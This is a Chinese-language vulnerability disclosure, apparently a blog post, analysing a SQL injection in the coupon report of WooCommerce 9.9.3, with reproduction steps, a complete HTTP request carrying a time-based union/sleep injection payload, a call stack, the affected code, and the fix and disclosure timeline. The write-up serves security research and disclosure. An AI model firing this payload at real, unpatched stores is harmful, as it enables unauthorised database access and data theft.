WooCommerce优惠券使用报告SQL注入漏洞分析

本文详细分析了WooCommerce插件9.9.3版本中WC_Report_Coupon_Usage类存在的SQL注入漏洞,包括漏洞原理、复现步骤、调用栈分析和修复情况,为Web安全研究人员提供技术参考。

WooCommerce SQL注入漏洞技术分析

漏洞概述

在WooCommerce插件9.9.3版本中发现一个SQL注入漏洞,位于WC_Report_Coupon_Usage类中。该漏洞需要"查看报告"权限,攻击者可通过构造恶意请求执行任意SQL语句。

漏洞端点

1
/wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+-

受影响平台

  • WooCommerce插件版本:9.9.3

复现步骤

  1. 使用管理员账户登录系统(为简化测试)
  2. 修改请求中的主机和Cookie信息,使用已登录会话的Cookie
  3. 在coupon_codes参数中包含SQL注入载荷

请求示例

1
2
3
4
5
6
7
8
9
GET /wp-admin/admin.php?page=wc-reports&tab=orders&report=coupon_usage&coupon_codes=')+union+select+1,sleep(10)--+- HTTP/1.1
Host: <host>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: <cookie of logged in session>
Connection: close

通过观察响应延迟可以验证漏洞存在。

技术分析

调用栈追踪

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
class-wc-admin-report.php:369, WC_Admin_Report->get_order_report_data()
class-wc-report-coupon-usage.php:449, WC_Report_Coupon_Usage->get_main_chart()
html-report-by-date.php:91, include()
class-wc-report-coupon-usage.php:153, WC_Report_Coupon_Usage->output_report()
class-wc-admin-reports.php:256, WC_Admin_Reports::get_report()
html-admin-page-reports.php:81, include_once()
class-wc-admin-reports.php:80, WC_Admin_Reports::output()
class-wc-admin-menus.php:348, WC_Admin_Menus->reports_page()
class-wp-hook.php:324, WP_Hook->apply_filters()
class-wp-hook.php:348, WP_Hook->do_action()
plugin.php:517, do_action()
admin.php:260, {main}()

漏洞代码段

在__construct方法中,coupon_codes参数未充分过滤:

1
2
3
4
5
6
7
public function __construct() {
    if ( isset( $_GET['coupon_codes'] ) && is_array( $_GET['coupon_codes'] ) ) {
        $this->coupon_codes = array_filter( array_map( 'sanitize_text_field', wp_unslash( $_GET['coupon_codes'] ) ) );
    } elseif ( isset( $_GET['coupon_codes'] ) ) {
        $this->coupon_codes = array_filter( array( sanitize_text_field( wp_unslash( $_GET['coupon_codes'] ) ) ) );
    }
}

影响评估

该SQL注入漏洞存在于SELECT查询中,攻击者可以:

  • 提取敏感数据
  • 结合其他漏洞进行利用
  • 对数据库进行未授权操作

修复状态

该漏洞已在最新版WooCommerce中修复(相关PR:https://github.com/woocommerce/woocommerce/pull/58857),漏洞评级为中等严重性。

时间线

  • 2025年6月13日:漏洞报告提交
  • 2025年6月18日:漏洞确认并修复
  • 2025年6月24日:报告完全公开

该漏洞的发现和报告过程展示了白帽黑客与厂商之间的有效协作,最终确保了用户数据的安全。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计